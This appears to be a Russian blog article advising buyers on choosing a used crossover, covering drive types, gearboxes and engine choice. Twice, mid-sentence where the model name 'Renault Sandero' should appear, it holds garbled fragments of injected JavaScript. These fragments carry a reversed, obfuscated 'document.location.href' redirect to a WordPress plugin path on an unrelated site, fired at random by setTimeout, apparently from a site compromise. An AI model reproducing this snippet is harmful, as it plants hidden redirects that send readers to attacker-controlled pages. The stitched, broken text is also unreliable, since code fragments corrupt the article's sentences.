Как выбрать надежный кроссовер с пробегом?
Кроссоверы с пробегом. Выбирая свой будущий автомобиль, тип автомобиля кроссовер, на вторичном рынке, чаще всего водители идут на поводу своих желаний и просто эмоцианальным потребностям – «Я ХОЧУ». В своём воображении они рисуют красивые картинки и суперходовые качества кроссоверов.
Но мечтая приобрести надежный кроссовер с пробегом, думайте не только о эстетическом наслаждении, но и о выделенном на эту покупку бюджете. О ходовых качествах кроссовера, надежности и соотносите его с вашими потребностями.
Оглавление
Привод с которым могут быть кроссоверы с пробегом
Определимся с понятием «Кроссовер». Что его отличает от многочисленных конструкций автомобилей?
Кроссовер, это как правило полноприводный автомобиль, с повышенным клиренсом. Безрамный, выше своих собратьев по марке автомобиля.
Может быть переднеприводным (модификация Lexus RX IV 200t, Renault Sdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andero Stepway и т.д.)
Кроссоверы есть в любом классе автомобилей, самого малого, до премиум авто.
Такого типа автомобили пользуются активным спросом у российского автопотребителя. И конечно весьма высок спрос на кроссоверы с пробегом
Поэтому, желание купить кроссовер с пробегом должно удовлетворяться со здравым смыслом, логикой и холодным сердцем.
Нужно четко представлять, где будет эксплуатироваться автомобиль, в деревне по проселкам и грязи или только в городе по асфальту. В этом случае не нужно подбирать кроссовер с повадками джипа. То есть с блокировками мостов и межосевым дифференциалом.
В таком случае достаточно квазикроссовера. Он только на вид выглядит как кроссовер, как вышеупомянутый Lexus RX IV 200t, или Renault Sdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andero Stepway. Китайские автопроизводители тоже делают такого типа авто.
Корейский автоконцерн Хюндай выпускает переднеприводную модификацию Hyundai Creta и даже Skoda Yeti.
На вид такой автомобиль – чистый кроссовер, ну а какие там колеса будут двигать вас по городу будете знать только вы. А в городских условиях полноприводной кроссовер не будет совершенно ничем превосходить переднеприводной. А расход топлива будет выше.
С приводом определились, рассмотрим коробки передач.
Какую коробку передач должен иметь кроссовер?
Как и с подбором любого другого автомобиля, коробки автомат могут быть классические, вариаторные и роботизированные. Если есть желание, то и механическая.
Роботизированная
DSG — это последняя разработка автоинженеров, так называемая двухвальная.
Она обладает рядом преимуществ против первых двух. Это по сути механическая, но с двойным сцеплением и чуткой электроникой управления ею. Соответственно, как и механическая она обладает всеми преимуществами над автоматами, главный из которых — расход топлива. Он почти такой же как у механики.
Единственным недостатком роботизированной коробки передач является износ дисков сцепления, которые после 100 тыс.км. пробега подлежат замене. Многих это отпугивает. Но я бы не стал отговаривать сторониться таких коробок, тем более уже каждый автопроизводитель считает хорошим тоном иметь на своих моделях такого типа коробки.
Концерн Фольксваген вообще почти все свои модели комплектует такими коробками.
Да и по большому счету, это моё личное мнение, роботизированная коробка – это гениальное изобретение. А те деньги, которые будут затрачены на её обслуживание с лихвой окупятся за эти 100 тыс.км. пробега.
Классический автомат
Эти коробки зарекомендовали себя за многие и многие годы эксплуатации. Они с гидротрансформатором и планетарным шестеренчатым механизмом.
Некоторые виды таких коробок выхаживают и по 500 тыс.км. Это в основном японские, за ними идут немецкие. (Я не беру во внимание современные, к сожалению производители искусственно снизили их ресурс, по понятным причинам, «вечные механизмы не приносят прибыли»)/’
Надежные автоматы стоят на Lexus RX300
Вириатор
Очень надежный, неприхотливый вариаторный механизм. Благодаря его конусному механизму, переключение передач происходит бесступенчато. Ходят они долго и считаются очень надежными, особенно японские Honda.
Единственное, что не рекомендуют производители, так это любого вида буксировки. Нельзя вытаскивать с такой коробкой неисправный автомобиль или забуксовавший в грязи. Так же буксировать прицеп и трейлер.
Какой двигатель предпочтительнее для кроссовера?
Здесь тоже дело вкуса. Но нужно учитывать такие факторы: бензиновый более прожорлив, но звук работы мотора тише и меньше вибраций.
Объем двигателя тоже нужно выбирать по карману. Чем меньше лошадиный сил, тем меньше дорожный налог и расходов на топливо.
Дизельный требует больше внимания, больше расходов на обслуживание. Работает шумнее бензинового, но имеет больший момент силы, то есть тяга у него на малых оборотах значительно выше.
Дизельный неприхотлив в работе, более экономичен, при равных объемах двигателя. Но что самое главное, ресурс двигателя значительно выше.
Так что выбор за вами.
